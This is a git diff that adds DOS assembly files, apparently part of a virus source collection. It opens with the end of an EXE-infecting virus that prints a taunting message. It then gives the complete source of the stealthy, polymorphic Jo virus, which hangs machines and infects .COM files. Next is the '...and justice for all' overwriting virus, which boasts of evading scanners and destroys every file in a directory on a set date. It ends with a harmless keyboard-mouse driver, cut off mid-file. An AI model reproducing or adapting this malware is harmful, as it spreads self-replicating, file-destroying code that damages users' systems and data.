INFECT_EXE *** + +INFECT_EXE: + +; Save original CS:IP and SS:SP. + + les ax,dword ptr [bp+BUFFER+20] ; Get original CS:IP + mov word ptr [bp+JMPSAVE],ax ; Store IP + mov word ptr [bp+JMPSAVE+2],es ; Store CS + les ax,dword ptr [bp+BUFFER+14] ; Get original SS:SP + mov word ptr [bp+STACKSAVE],es ; Store SP + mov word ptr [bp+STACKSAVE+2],ax ; Store SS + +; Get get the header size in bytes. + + mov ax,word ptr [bp+BUFFER+8] ; Get header size + mov cl,4 ; Convert paragraphs to bytes + shl ax,cl ; Multiply by 16 + xchg ax,bx ; Put header size in BX + +; Get file size. + + les ax,[bp+offset DTA+26] ; Get filesize to + mov dx,es ; DX:AX format + + push ax ; Save filesize + push dx + + sub ax,bx ; Subtract header size + sbb dx,0 ; from filesize + + mov cx,16 ; Convert to SEGMENT:OFFSET + div cx ; form + +; Store new entry point (CS:IP) in header. + + mov word ptr [bp+BUFFER+20],dx; Store IP + mov word ptr [bp+BUFFER+22],ax; Store CS + + add dx,START_VIRUS-DECRYPT ; New START_VIRUS offset + mov bx,dx ; Hold it for now + +; Store new stack frame (SS:SP) in header. + + mov word ptr [bp+BUFFER+14],ax; Store SS + mov word ptr [bp+BUFFER+16],ID; Store SP + + pop dx ; Get back filesize + pop ax + + add ax,END_VIRUS-START_VIRUS ; Add virus size + adc dx,0 ; to filesize + + push ax ; Save AX + mov cl,9 ; Divide AX + shr ax,cl ; by 512 + ror dx,cl + stc ; Set carry flag + adc dx,ax ; Add with carry + pop ax ; Get back AX + and ah,1 ; Mod 512 + +; Store new filesize in header. + + mov word ptr [bp+BUFFER+4],dx ; Store new filesize + mov word ptr [bp+BUFFER+2],ax + + push cs ; Restore ES + pop es + mov cx,24 ; No. bytes to write in header + + push bx ; Save START_VIRUS offset + +; Write virus to victim and restore the file's original timestamp, datestamp, +; and attributes. These values were stored in the DTA by the +; Findfirst / Findnext services. + +DONE_INFECTION: + push cx ; Save no. bytes to write + xor cx,cx ; Clear attributes + call SET_ATTR ; Set attributes + + mov al,2 ; DOS open file for read/write + call OPEN ; Open the file + +; Write the new header at the beginning of the file. + + mov ah,40h ; DOS write to file + pop cx ; Number of bytes to write + lea dx,[bp+BUFFER] ; Point to the bytes to write + int 21h ; Call DOS to do it + +; Move to end of file. + + mov ax,4202h ; DOS set read/write pointer + xor cx,cx ; Set offset move to zero + cwd ; Equivalent to xor dx,dx + int 21h ; Call DOS to do it + +; Append virus to end of file. + + mov ah,2ch ; DOS get time + int 21h ; Call DOS to do it + mov [bp+KEY],dx ; Save sec + 1/100 sec + ; as the new KEY + + lea di,[bp+APPEND] ; to the heap + mov cx,START_VIRUS-DECRYPT ; Number of bytes to move + mov al,53h ; Push BX and store it + stosb ; in the append routine + lea si,[bp+DECRYPT] ; Move Crypt routines + push si ; Save SI + push cx ; Save CX + rep movsb ; Transfer the data + + lea si,[bp+WRITE_START] ; Now copy the write + mov cx,WRITE_END-WRITE_START ; routine to the heap + rep movsb ; Transfer the data + + pop cx ; Get back + pop si ; CX and SI + rep movsb ; Recopy Crypt routine + + mov ax,0c35bh ; Tack a POP BX and + stosw ; RETN on the end + + pop ax ; New START_VIRUS offset + mov word ptr [bp+DECRYPT+1],ax; Store new offset + + call APPEND ; Write the file + +; Restore original creation date and time. + + mov ax,5701h ; DOS set file date & time + mov cx,word ptr [bp+DTA+22] ; Set time + mov dx,word ptr [bp+DTA+24] ; Set date + int 21h ; Call DOS to do it + +; Close the file. + + mov ah,3eh ; DOS close file + int 21h ; Call DOS to do it + +; Restore original file attributes. + + mov cx,word ptr [bp+DTA+21] ; Get original file attribute + call SET_ATTR ; Set attribute + + pop bx ; Take CALL off stack + + +; ****** B O M B S E C T I O N ****** + +; Check to see if the virus is ready to activate. +; Put all activation tests and bombs here. + +CONDITIONS: ; mov ah,2ah ; DOS get date + ; int 21h ; Call DOS to do it + ; cmp dx,1001h ; Check for Oct 1st + ; jl BOMB_DONE ; Not time yet + ; mov ah,2ch ; DOS get time + ; int 21h ; Call DOS to do it + ; cmp cl,25h ; Check for 25 min past + ; jl BOMB_DONE ; Not time yet + +BOMB: mov ah,3h ; BIOS find cursor position + mov bh,0 ; Video page 0 + int 10h ; Call BIOS to do it + push dx ; Save original Row and Column + mov cx,6 ; Number of lines to print + lea si,[bp+VERSE] ; Location of VERSE + mov dx,080ah ; Row and Column of output +PRINTLOOP: mov ah,2h ; BIOS set cursor + int 10h ; Set cursor + push dx ; Save Row and Column + mov ah,9h ; DOS print string + mov dx,si ; Location of VERSE + int 21h ; Call DOS to print it + pop dx ; Get Row and Column + inc dh ; Increment Row + add si,54 ; Go to next line of VERSE + loop PRINTLOOP ; Print all lines + + mov ah,00h ; Read character from keybd + int 16h + + pop dx ; Get original Row Column + mov ah,2h ; BIOS set cursor + int 10h ; Call BIOS to do it + +BOMB_DONE: jmp QUIT ; Go back to host program + +VERSE: db 'ķ$' + db ' Guess what ??? $' + db ' You have been victimized by a virus!!! Do not $' + db ' try to reboot your computer or even turn it $' + db ' off. You might as well read this and weep! $' + db 'Ľ',7,7,'$' + +; Write routine to append the virus to the end of the file. + +WRITE_START: + pop bx ; Get back file handle + push bx ; Save it again + mov ah,40h ; DOS write to file + mov cx,END_VIRUS-DECRYPT ; Length of virus + lea dx,[bp+DECRYPT] ; Start from beginning of virus + int 21h ; Call DOS to do it +WRITE_END: + + +; New INT 24h handler. + +NEWINT24: mov al,3 ; Fail call + iret ; Return + + +;*** Subroutine OPEN *** +; Open a file. Takes AL as parameter. + +OPEN proc near + mov ah,3dh ; DOS open file, read/write + lea dx,[bp+DTA+30] ; Point to filename we found + int 21h ; Call DOS to do it + xchg ax,bx ; Put file handle in BX + retn ; Return +OPEN endp + +;*** Subroutine SET_ATTR *** +; Takes CX as a parameter + +SET_ATTR proc near + mov ax,4301h ; DOS change file attr + lea dx,[bp+DTA+30] ; Point to file name + int 21h ; Call DOS + retn ; Return +SET_ATTR endp + + +; This area will hold all variables to be encrypted + +COM_MASK db '*.com',0 ; COM file mask +EXE_MASK db '*.exe',0 ; EXE file mask +DOTDOT db '..',0 ; Go up one directory +COM_START db 0cdh,20h,0 ; Header for infected file +BACKSLASH db '\' ; Backslash for directory + +START endp + +END_VIRUS equ $ ; Mark end of virus code + +; This data area is a scratch area and is not included in virus code. + +ORIG_DIR db 64 dup(?) ; Holds original directory + +OLDINT24 dd ? ; Storage for old INT 24 vector + +BUFFER db 24 dup(?) ; Read buffer and EXE header + +DTA db 43 dup(?) ; New DTA location + +APPEND: db (START_VIRUS-DECRYPT)*2+(WRITE_END-WRITE_START)+3 dup(?) + +ENDHEAP: + + end MAIN diff --git a/j/JO_V111.ASM b/j/JO_V111.ASM new file mode 100755 index 0000000..9e810ef --- /dev/null +++ b/j/JO_V111.ASM @@ -0,0 +1,429 @@ + NAME Jo + PAGE 55,132 + TITLE Jo Virus. + +; +; This is Yet another virus from the ARCV, this one is called +; Joanna, it was written by Apache Warrior, ARCV President. +; +; It has Stealth features, it is a Resident infector of .COM files +; and uses the Cybertech Mutation Engine (TM) by Apache Warrior for +; its Polymorphic features. There is a maximum of 3 unchanged bytes +; in the Encrypted code. +; + +.model tiny + +code segment + + ASSUME CS:CODE,DS:CODE,ES:CODE + +int_21ofs equ 84h +int_21seg equ 86h +length equ offset handle-offset main +msglen equ offset oldstart-offset msg +tsrlen equ (offset findat-offset main)/10 +len equ offset handle-offset main +virlen equ (offset string-offset main2)/2 +decryptlen equ offset main2-offset main + + org 100h + +start: jmp main + db 0,0,0 + +main: mov si,offset main2 ; SI offset for decrypt + mov cx,virlen ; viri decrypt size +loop_1: + db 2eh,81h,2ch ; decrypt +switch: dw 0 + add si,02h + dec cx + jnz loop_1 +main2: call findoff ; find file ofset +findoff: pop si ; + sub si,offset findoff + push ds + push es + push cs + pop ds + push cs + pop es + mov ax,0ff05h ; Test for Scythe2 Boot + int 13h + cmp ah,0e9h ; Check for Scythe2 Boot + jnz haha ; no go on + mov ah,09h ; Display message + lea dx,[si+offset msg2] + int 21h + jmp $ ; Crash the machine +haha: mov ah,2ah ; Date Test + int 21h ; + cmp dx,1210h ; Is month the Oct. + jnz main3 ; no go on + mov ah,09h ; Display Message + lea dx,[si+offset msg] + int 21h + + +main3: mov di,0100h ; move old programs + push si ; start back to the start + mov ax,offset oldstart ; + add si,ax ; + mov cx,05h ; + cld ; + repz movsb ; + +inst: mov ax,0ffa4h ; check to see if already instaled + int 21h + pop si ; bring back si + cmp ax,42a1h + je oldprog ; Yes return to old program + +tt2: xor ax,ax ; Residency Routine + push ax + mov ax,ds ; Get MCB segment Address + dec ax ; + mov es,ax ; Put MCB segment Address in es + pop ds ; + mov ax,word ptr ds:int_21ofs ; Load Int 21h address data + mov cx,word ptr ds:int_21seg ; + mov word ptr cs:[si+int21],ax ; Move Int 21h data to store + mov word ptr cs:[si+int21+2],cx ; + cmp byte ptr es:[0],5ah ; Check for Start of MCB + jne oldprog ; If no then quit + mov ax,es:[3] ; Play with MCB to get top of + sub ax,0bch ; Memory and reserve 3,008 bytes + jb oldprog ; for Virus + mov es:[3],ax ; + sub word ptr es:[12h],0bch ; + mov es,es:[12h] ; + push ds ; + push cs ; + pop ds ; Move Virus into Memory + mov di,0100h ; space allocated above + mov cx,len+5 ; + push si ; + add si,0100h ; + rep movsb ; + pop si + pop ds + cli ; Stop Interrupts Very Inportant + mov ax,offset new21 ; Load New Int 21h handler + mov word ptr ds:int_21ofs,ax ; address and store + mov word ptr ds:int_21seg,es ; + sti ; + +oldprog: + mov di,0100h ; Return to Orginal + pop es ; Program.. + pop ds ; + push di ; + ret ; + +int21 dd 0h ; Storage For Int 21h Address + +; +; New interupt 21h Handler +; + +sayitis: mov ax,42a1h ; Install Check.. + iret + +new21: ;nop ; Sign byte + cmp ax,0ffa4h ; Instalation Check + je sayitis + cmp ah,11h ; FCB Search file + je adjust_FCB + cmp ah,12h ; FCB Search Again + je adjust_FCB + cmp ah,4eh ; Handle Search file + je adjust_FCB + cmp ah,4fh ; Handle Search Again + je adjust_FCB + cmp ah,3dh ; Are they opening a file? + je intgo ; if no ignore + cmp ah,4bh ; Exec Function + jne noint +intgo: push ax ; 4bh, 3dh Infect file + push bx ; Handler save the Registers + push cx + push es + push si + push di + push dx + push ds + call checkit ; Call infect routine + pop ds + pop dx + pop di + pop si + pop es + pop cx + pop bx + pop ax +noint: jmp cs:[int21] ; Return to Orginal Int 21h + +adjust_FCB: push es ; Stealth Routine + push bx + push si + push ax + xor si,si + and ah,40h ; Check for handle Search + jz okFCB + mov si,1 ; Set flag +okFCB: mov ah,2fh ; Get DTA Address + int 21h + pop ax ; Restore ax to orginal function + call i21 ; value call it + pushf ; save flags + push ax ; save ax error code + call adjust ; Call stealth adjust routine + pop ax ; restore registers + popf + pop si + pop bx + pop es + retf 2 ; Return to caller + +adjust: pushf ; Stealth check routine + cmp si,0 ; Check flag set earlyer + je fcb1 + popf + jc repurn ; Check for Handle Search error + mov ah,byte ptr es:[bx+16h] ; No error then carry on + and ah,01ah ; Check stealth stamp + cmp ah,01ah ; + jne repurn ; + sub word ptr es:[bx+1ah],len ; Infected then take the viri size +repurn: ret ; from file size. +fcb1: popf ; Same again but for the FCB + cmp al,0ffh + je meat_hook + cmp byte ptr es:[bx],0ffh + jne xx2 + add bx,7 +xx2: mov ah,byte ptr es:[bx+17h] + and ah,01ah + cmp ah,01ah + jne meat_hook + sub word ptr es:[bx+1dh],len +meat_hook: ret + +com_txt db 'COM',0 ; + +reset: ; File Attrib routines + mov cx,20h +set_back: + mov al,01h +find_att: + mov ah,43h ; Alter file attributes +i21: pushf + call cs:[int21] +exitsub: ret + +checkit: ; Infect routine + push es ; Save some more registers + push ds + push ds ; Check to see if file is a + pop es ; .COM file if not then + push dx ; quit.. + pop di ; + mov cx,0ffh ; Find '.' in File Name + mov al,'.' ; + repnz scasb ; + push cs ; + pop ds ; + mov si,offset com_txt ; Compare with COM extension + mov cx,3 ; + rep cmpsb ; + pop ds ; Restore Reg... + pop es ; + jnz exitsub ; + +foundtype: sub di,06h ; Check for commaND.com + cmp ds:[di],'DN' ; Quit if found.. + je exitsub ; + mov word ptr cs:[nameptr],dx ; Save DS:DX pointer for later + mov word ptr cs:[nameptr+2],ds ; + mov al,00h ; Find Attributes of file to infect + call find_att ; + jc exitsub ; Error Quit. + +alteratr: mov cs:[attrib],cx ; Save them + call reset ; Reset them to normal + + mov ax,3d02h ; Open file + call i21 + jc exitsub ; Error Quit + push cs ; Set DS to CS + pop ds ; + mov ds:[handle],ax ; Store handle + + mov ax,5700h ; Read file time and date + mov bx,ds:[handle] ; + call i21 ; +ke9: mov ds:[date],dx ; Save DX + or cx,1ah ; Set Stealth Stamp + mov ds:[time],cx ; Save CX + + mov ah,3fh ; Read in first 5 bytes + mov cx,05h ; To save them + mov dx,offset oldstart ; + call i21 ; +closeit: jc close2 ; Error Quit + + mov ax,4202h ; Move filepointer to end + mov cx,0ffffh ; -5 bytes offset from end + mov dx,0fffbh ; + call i21 ; + jc close ; Error Quit + + mov word ptr cs:si_val,ax ; Save File saize for later + cmp ax,0ea60h ; See if too big + jae close ; Yes then Quit + + mov ah,3fh ; Read in last 5 bytes + mov cx,05h ; + mov dx,offset tempmem ; + call i21 ; + jc close ; Error + + push cs ; Reset ES to CS + pop es ; + mov di,offset tempmem ; Check if Already infected + mov si,offset string ; + mov cx,5 ; + rep cmpsb ; + jz close ; Yes the Close and Quit + +zapfile: ; No Infect and Be Damned + mov ax,word ptr cs:si_val ; + add ax,2 ; + push cs ; + pop ds ; + mov word ptr ds:[jpover+1],ax ; Setup new jump + call mut_eng ; Call Mutation Engine + mov ah,40h ; Save prog to end of file + mov bx,cs:[handle] ; Load Handle + mov cx,length ; LENGTH OF PROGRAM**** + call i21 ; Write away +close2: jc close ; Quit if error + + push cs ; Reset DS to CS + pop ds ; + mov ax,4200h ; Move File pointer to start + xor cx,cx ; of file + cwd ; Clever way to XOR DX,DX + call i21 ; + jc close ; Error Quit.. + + mov ah,40h ; Save new start + mov cx,03h ; + mov dx,offset jpover ; + call i21 ; + +close: mov ax,5701h ; Restore Time and Date + mov bx,ds:[handle] ; + mov cx,ds:[time] ; + mov dx,ds:[date] ; + call i21 ; + mov ah,3eh ; Close file + call i21 ; +exit_sub: mov dx,word ptr [nameptr] ; Reset Attributes to as they where + mov cx,ds:[attrib] ; + mov ds,word ptr cs:[nameptr+2] ; + call set_back ; + ret ; Return to INT 21h Handler + + +; +; CyberTech Mutation Engine +; +; This is Version Two of the Mutation Engine +; Unlike others it is very much Virus Specific.. Works +; Best on Resident Viruses.. +; +; To Call +; +; si_val = File Size +; +; Returns +; DS:DX = Encrypted Virus Code, Use DS:DX pointer to +; Write From.. + + +mut_eng: + mov ah,2ch ; Get Time + call i21 ; + mov word ptr ds:[switch],dx ; Use Sec./100th counter as key + mov word ptr ds:[switch2+1],dx ; Save to Decrypt and Encrypt + mov ax,cs:[si_val] ; Get file size + mov dx,offset main2 ; + add ax,dx ; + mov word ptr [main+1],ax ; Store to Decrypt offset + xor byte ptr [loop_1+2],28h ; Toggle Add/Sub + xor byte ptr switch2,28h ; " + push cs ; Reset Segment Regs. + pop ds ; + push cs ; + pop ax ; Find Spare Segment + sub ax,0bch ; and put in es + mov es,ax ; + mov si,offset main ; Move Decrypt function + mov di,0100h ; + mov cx,decryptlen ; + rep movsb ; + mov si,offset main2 ; Start the code encrypt + mov cx,virlen ; +loop_10: lodsw ; +switch2: add ax,0000 ; + stosw ; + loop loop_10 ; + mov si,offset string ; move ID string to end + mov cx,5 ; new code + rep movsb ; + mov dx,0100h ; Set Registers to encrypted Virus + push es ; Location + pop ds ; + ret ; Return + +; Data Section, contains Messages etc. + + +; Little message to the Wife to Be.. + +msg db 'Looking Good Slimline Joanna.',0dh,0ah + db 'Made in England by Apache Warrior, ARCV Pres.',0dh,0ah,0ah + db 'Jo Ver. 1.11 (c) Apache Warrior 92.',0dh,0ah + db '$' + +msg2 db 'I Love You Joanna, Apache..',0dh,0ah,'$' + +virus_name db '[JO]',00h, ; Virus Name.. +author db 'By Apache Warrior, ARCV Pres.' ; Thats me.. +filler dd 0h + +oldstart: mov ax,4c00h ; Orginal program start + int 21h + nop + nop + +j100h dd 0100h ; Stores for jumps etc +jpover db 0e9h,00,00h ; + +string db '65fd3' ; ID String + +:heap ; This code is not saved +handle dw 0h +nameptr dd 0h +attrib dw 0h +date dw 0h +time dw 0h +tempmem db 10h dup (?) +findat db 0h +si_val dw 0h + +code ends + +end start \ No newline at end of file diff --git a/j/JUSTICE.ASM b/j/JUSTICE.ASM new file mode 100755 index 0000000..2c33b24 --- /dev/null +++ b/j/JUSTICE.ASM @@ -0,0 +1,335 @@ +; Virusname: ...and justice for all +; Country : Sweden +; Author : Metal Militia / Immortal Riot +; Date : 07-29-1993 + +; This is an mutation of 808 virus by Skism in USA. +; Many thanks to the scratch coder of the 808 virus. + +; We've tried this virus ourself, and it works just fine. +; Infects one random EXE-file every run, by overwriting it +; with the virus-code, and if the file is smaller, will "pad" +; it out to the size of the virus anyhow. +; +; McAfee Scan v105 can't find it, and +; S&S Toolkit 6.5 don't find it either. + +; I haven't tried with scanners like Fprot/Tbscan, +; but they will probably report some virus structure. +; +; Best Regards : [Metal Militia] +; [The Unforgiven] + + +filename EQU 30 ;used to find file name +fileattr EQU 21 ;used to find file attributes +filedate EQU 24 ;used to find file date +filetime EQU 22 ;used to find file time + + + +code_start EQU 0100h ;start of all .COM files +virus_size EQU 808 ;TR 808 + + +code segment 'code' +assume cs:code,ds:code,es:code + org code_start + +main proc near + +jmp virus_start + +encrypt_val db 00h + +virus_start: + + call encrypt ;encrypt/decrypt file + jmp virus ;go to start of code + +encrypt: + + push ax + mov bx,offset virus_code ;start encryption at data + +xor_loop: + + mov ch,[bx] ;read current byte + xor cl,encrypt_val ;get encryption key + mov [bx],ch ;switch bytes + inc bx ;move bx up a byte + cmp bx,offset virus_code+virus_size + ;are we done with the encryption + jle xor_loop ;no? keep going + pop cx + ret + + +infectfile: + + mov dx,code_start ;where virus starts in memory + mov bx,handle ;load bx with handle + push bx ;save handle on stack + call encrypt ;encrypt file + pop bx ;get back bx + mov cx,virus_size ;number of bytes to write + mov ah,40h ;write to file + int 21h ; + push bx + call encrypt ;fix up the mess + pop bx + ret + +virus_code: + +wildcards db "*",0 ;search for directory argument +filespec db "*.EXE",0 ;search for EXE file argument +filespec2 db "*.*",0 ;search fro all files argument +rootdir db "\",0 ;argument for root directory +dirdata db 43 dup (?) ;holds directory DTA +filedata db 43 dup (?) ;holds files DTA +diskdtaseg dw ? ;holds disk dta segment +diskdtaofs dw ? ;holds disk dta offset +tempofs dw ? ;holds offset +tempseg dw ? ;holds segment +drivecode db ? ;holds drive code +currentdir db 64 dup (?) ;save current directory into this +handle dw ? ;holds file handle +orig_time dw ? ;holds file time +orig_date dw ? ;holds file date +orig_attr dw ? ;holds file attr +idbuffer dw 2 dup (?) ;holds virus id + +virus: + + mov ax,3000h ;get dos version + int 21h ; + cmp al,02h ;is it at least 2.00? + jb bus1 ;won't infect less than 2.00 + mov ah,2ch ;get time + int 21h ; + mov encrypt_val,dl ;save m_seconds to encrypt val so + ;theres 100 mutations possible +setdta: + + mov dx,offset dirdata ;offset of where to hold new dta + mov ah,1ah ;set dta address + int 21h ; + +newdir: + + mov ah,19h ;get drive code + int 21h ; + mov dl,al ;save drivecode + inc dl ;add one to dl, because functions differ + mov ah,47h ;get current directory + mov si, offset currentdir ;buffer to save directory in + int 21h ; + + mov dx,offset rootdir ;move dx to change to root directory + mov ah,3bh ;change directory to root + int 21h ; + +scandirs: + + mov cx,13h ;include hidden/ro directorys + mov dx, offset wildcards ;look for '*' + mov ah,4eh ;find first file + int 21h ; + cmp ax,12h ;no first file? + jne dirloop ;no dirs found? bail out + +bus1: + + jmp bus + +dirloop: + + mov ah,4fh ;find next file + int 21h ; + cmp ax,12h + je bus ;no more dirs found, roll out + +chdir: + + mov dx,offset dirdata+filename;point dx to fcb - filename + mov ah,3bh ;change directory + int 21h ; + + mov ah,2fh ;get current dta address + int 21h ; + mov [diskdtaseg],es ;save old segment + mov [diskdtaofs],bx ;save old offset + mov dx,offset filedata ;offset of where to hold new dta + mov ah,1ah ;set dta address + int 21h ; + +scandir: + + mov cx,07h ;find any attribute + mov dx,offset filespec ;point dx to "*.COM",0 + mov ah,4eh ;find first file function + int 21h ; + cmp ax,12h ;was file found? + jne transform + +nextexe: + + mov ah,4fh ;find next file + int 21h ; + cmp ax,12h ;none found + jne transform ;found see what we can do + + mov dx,offset rootdir ;move dx to change to root directory + mov ah,3bh ;change directory to root + int 21h ; + mov ah,1ah ;set dta address + mov ds,[diskdtaseg] ;restore old segment + mov dx,[diskdtaofs] ;restore old offset + int 21h ; + jmp dirloop + + +bus: + + jmp rollout + +transform: + + mov ah,2fh ;temporally store dta + int 21h ; + mov [tempseg],es ;save old segment + mov [tempofs],bx ;save old offset + mov dx, offset filedata + filename + + mov bx,offset filedata ;save file... + mov ax,[bx]+filedate ;date + mov orig_date,ax ; + mov ax,[bx]+filetime ;time + mov orig_time,ax ; and + mov ax,[bx]+fileattr ; + mov ax,4300h + int 21h + mov orig_attr,cx + mov ax,4301h ;change attributes + xor cx,cx ;clear attributes + int 21h ; + mov ax,3d00h ;open file - read + int 21h ; + jc fixup ;error - find another file + mov handle,ax ;save handle + mov ah,3fh ;read from file + mov bx,handle ;move handle to bx + mov cx,02h ;read 2 bytes + mov dx,offset idbuffer ;save to buffer + int 21h ; + + mov ah,3eh ;close file for now + mov bx,handle ;load bx with handle + int 21h ; + + mov bx, idbuffer ;fill bx with id string + cmp bx,02ebh ;infected? + jne doit ;same - find another file + + +fixup: + mov ah,1ah ;set dta address + mov ds,[tempseg] ;restore old segment + mov dx,[tempofs] ;restore old offset + int 21h ; + jmp nextexe + + +doit: + + mov dx, offset filedata + filename + mov ax,3d02h ;open file read/write access + int 21h ; + mov handle,ax ;save handle + + call infectfile + + ;mov ax,3eh ;close file + ;int 21h + +rollout: + + mov ax,5701h ;restore original + mov bx,handle ; + mov cx,orig_time ;time and + mov dx,orig_date ;date + int 21h ; + + mov ax,4301h ;restore original attributes + mov cx,orig_attr + mov dx,offset filedata + filename + int 21h + ;mov bx,handle + ;mov ax,3eh ;close file + ;int 21h + mov ah,3bh ;try to fix this + mov dx,offset rootdir ;for speed + int 21h ; + mov ah,3bh ;change directory + mov dx,offset currentdir ;back to original + int 21h ; + mov ah,2ah ;check system date + int 21h ; + cmp cx,1993 ;is it at least 1993? + jb audi ;no? don't do it now + cmp dl,10 ;is it the 10th? + jne audi ;not yet? quit + mov dx,offset dirdata ;offset of where to hold new dta + mov ah,1ah ;set dta address + int 21h ; + mov ah,4eh ;find first file + mov cx,7h ; + mov dx,offset filespec2 ;offset *.* + +Loops: + + int 21h ; + jc audi ;error? then quit + mov ax,4301h ;find all normal files + xor cx,cx ; + int 21h ; + mov dx,offset dirdata + filename + mov ah,3ch ;fuck up all files in current dir + int 21h ; + jc audi ;error? quit + mov ah,4fh ;find next file + jmp loops ; + +audi: + + mov ax,4c00h ;end program + int 21h ; + +; Time changes, and so does the text..sorry Skism :) +; but hey! Isn't this message much fanicer then the old ? +; Yeah, right, Metal Up Your Ass! + +words_ db " Metal Militia / Immortal Riot",0 + +words2 db " ...and Justice for all",0 + +words3 db " Justice is lost",0 + db " Justice is raped",0 + db " Justice is gone",0 + db " Pulling your strings",0 + db " Seeking no truth",0 + db " Winning is all",0 + db " Find it so Grim",0 + db " so true",0 + db " so real",0 + +; heh..what a lucky dog I'm, the new virus turned out to be 808 bytes, +; which means exactly like the old one..(used tlink2 /t). + +main endp +code ends + end main + + +  \ No newline at end of file diff --git a/k/KBM.ASM b/k/KBM.ASM new file mode 100755 index 0000000..43f3ac4 --- /dev/null +++ b/k/KBM.ASM @@ -0,0 +1,253 @@ +;--------------------------------------------------------------------------- +;KBM KeyBoard Mouse by Dan Rollins 5-20-85 +; +; This program intercepts keyboard data and creates a bit pattern determined +; according to whether or not certain keys are currently being pressed. +; +; The bit pattern is stored in the "inter-application communication area" +; at 0000:04f0. It is interpreted as: +; +; 7 6 5 4 3 2 1 0 (bit number) +; C m P H l d r u (bit name) +; | | | | | | | | +; | | | | | | | +- bit 0 (01h) - set = 1 while [up arrow] is pressed +; | | | | | | +--- bit 1 (02h) - set = 1 while [right arrow] is pressed +; | | | | | +----- bit 2 (04h) - set = 1 while [down arrow] or [5] is pressed +; | | | | +------- bit 3 (08h) - set = 1 while [left arrow] is pressed +; | | | | +; | | | +--------- bit 4 (10h) - set = 1 while [Home] is pressed +; | | +----------- bit 5 (20h) - set = 1 while [PgUp] is pressed +; | +------------- bit 6 (40h) - set = 1 while grey [-] is pressed +; +--------------- bit 7 (80h) - set = 1 while [CapsLock] is pressed +; +; As soon as the key is released, the relevant bit is reset to 0. +; +; The byte at 0000:04f1 is the "pass-through/filter" mode flag. When this +; byte is zero, all keystrokes are passed to the normal keyboard handler. +; When it's non-zero, the selected keystrokes are filtered (disabled for +; normal input). BIOS and DOS keyboard calls will not recognize them. +; +; The Alt-NumLock keystroke toggles between pass-through and filter modes. +; +; This program is installed and remains resident. It is a COM-format +; file, so it must be converted with EXE2BIN. +; +; Copyright (c) Ziff-Davis Publishing Co., 1986. All rights reserved. +; +;= equates =============== + +KB_DATA_PORT equ 60h ;These are listed in the PC and XT +KB_CTRL_PORT equ 61h ; Technical Reference Manuals + +KB_FLAG equ 417h ; the BIOS shift-key status (in segment 0) +ALT_STATE equ 8 ; Bit pattern while the [Alt] key is pressed +NUMLOCK_KEY equ 69 ; scan-code of the [NumLock] key + +INT_CTL_PORT equ 20h ; Interrupt controller port (8259 chip) +EOI equ 20h ; End-Of-Interrupt code sent to 8259 + +RELEASE_BIT equ 80h ;also called the "break" bit: a key was released + +KEY_BITS equ 04f0H ;the address of the key bit flags (segment 0) +MODE_FLAG equ 04f1H ;when 0, all keys are passed to normal kbint +INST_FLAG equ 04f2H ; set to 1234H during installation + +com_seg segment + assume cs:com_seg, ds:com_seg + org 100h ;must have for COM-format program +kbm proc far + jmp set_up ;get past data and install interrupt hander + +;============= program data area ======== + +norm_kbd_int label dword ;type DWORD so it can be used in a FAR jump +nki_offset dw 0 ; This address is stored in the SET_UP proc +nki_segment dw 0 ; It's the address of the previous kbint routine + +;----------------------------------------------------------------------------- +; KBD_INT +; 1) read the keyboard +; 2) set/reset bits in mouse movement byte +; 3) execute normal keyboard interrupt +; +; scan bit key suggested meaning +; code flag name (defined by user) +; ---- ---- --------- ---------------------- +kbm_tbl db 72, 1 ; num.pad 8 go up + db 77, 2 ; num.pad 6 go right + db 80, 4 ; num.pad 2 go down + db 75, 8 ; num.pad 4 go left + + db 76, 4 ; num.pad 5 go down + db 71, 16 ; Home button 1 + db 73, 32 ; PgUp button 2 + db 74, 64 ; grey minus button 3 + db 58, 128; CapsLock "high-gear shift" for fast motion +tbl_end label byte + +;----------------------------------------------------------------------------- +; KBD_INT +; This procedure intercepts the ROM-BIOS KB_INT. +; It sets and resets bits of a kbd flag as the user presses and releases keys. +; When the byte at 0000:04F1 is 0, the keystroke is passed on to the +; original keyboard handler. + +kbd_int proc far + sti + cld + push ax + push si + push ds + + in al,KB_DATA_PORT ;read scan-code from keyboard into AL + mov ah,al ;save original byte in AH + and al,7fh ;mask off "release bit" for comparisons + + mov si,offset kbm_tbl +k_20: + cmp si,offset tbl_end ;at end of table? + ja k_25 ; yes, key not found. Exit to normal kbint + cmp al,byte ptr cs:[si] ; is this the key? + je k_30 ; yes, process the keystroke + inc si ; no, point past the scan code + inc si ; point past the bit-mask + jmp k_20 ; and loop back for the next entry + +k_25: +;------- check for mode-toggle by user + cmp ah,NUMLOCK_KEY ;is this a press of [NumLock]? + jne k_27 ; no, go + sub si,si ; yes, look to BIOS data area + mov ds,si + test byte ptr ds:[KB_FLAG],ALT_STATE ; is [Alt] pressed? + jz k_27 ; no, pass the key on + + xor byte ptr ds:[MODE_FLAG],1 ; yes, toggle the mode and + jmp short k_exit ; exit w/o processing + +;------- the keystroke is to be processed by the normal keyboard interrupt +k_27: + pop ds + pop si + pop ax + jmp cs:[norm_kbd_int] ;continue at normal keyboard handler + +k_30: +;------- process the scan code into a bit-pattern + mov al,cs:[si+1] ;get bit-flag mask + + sub si,si + mov ds,si ;point to segment of KEY_BITS + + test ah,RELEASE_BIT ;is this key being released? + jz k_40 ; no, go + +;------- process key release + not al ;flip-flop mask bits + and byte ptr ds:[KEY_BITS],al ;mask off released key bit + jmp k_50 +k_40: +;------- process key press + or byte ptr ds:[KEY_BITS],al ;set the bit for pressed key + +;------- determine whether key should be passed on to normal keyboard handler +k_50: + cmp byte ptr ds:[MODE_FLAG],0 ;should key be processed further? + je k_27 ; yes, continue at normal kb int + +;------- the keystroke is to be ignored by the rest of the system. +;------- wrap up this keyboard interrupt. + +k_exit: + in al,KB_CTRL_PORT ;get current value of keyboard control lines + mov ah,al ; save it + or al,80h ;set the "enable kbd" bit + out KB_CTRL_PORT,al ; and write it out the control port + xchg ah,al ;fetch the original control port value + out KB_CTRL_PORT,al ; and write it back + + pop ds + pop si + + cli + mov al,EOI ;send End-Of-Interrupt signal + out INT_CTL_PORT,al ; to the 8259 Interrupt Controller + pop ax + iret ;exit to interrupted program +kbd_int endp + +LAST_BYTE equ offset $+1 ;This is the address passed to INT 27H + ;Notice that the code of the SET_UP + ; procedure is not preserved in memory + +;----------------------------------------------------------------------------- +; SET_UP +; This routine is executed only once, when the program is installed. + +inst_msg db 'KBM KeyBoard Mouse driver',0dh,0ah + db 'Copyright (c) 1986 Ziff-Davis Publishing Co.,',0dh,0ah,'$' + +err_msg1 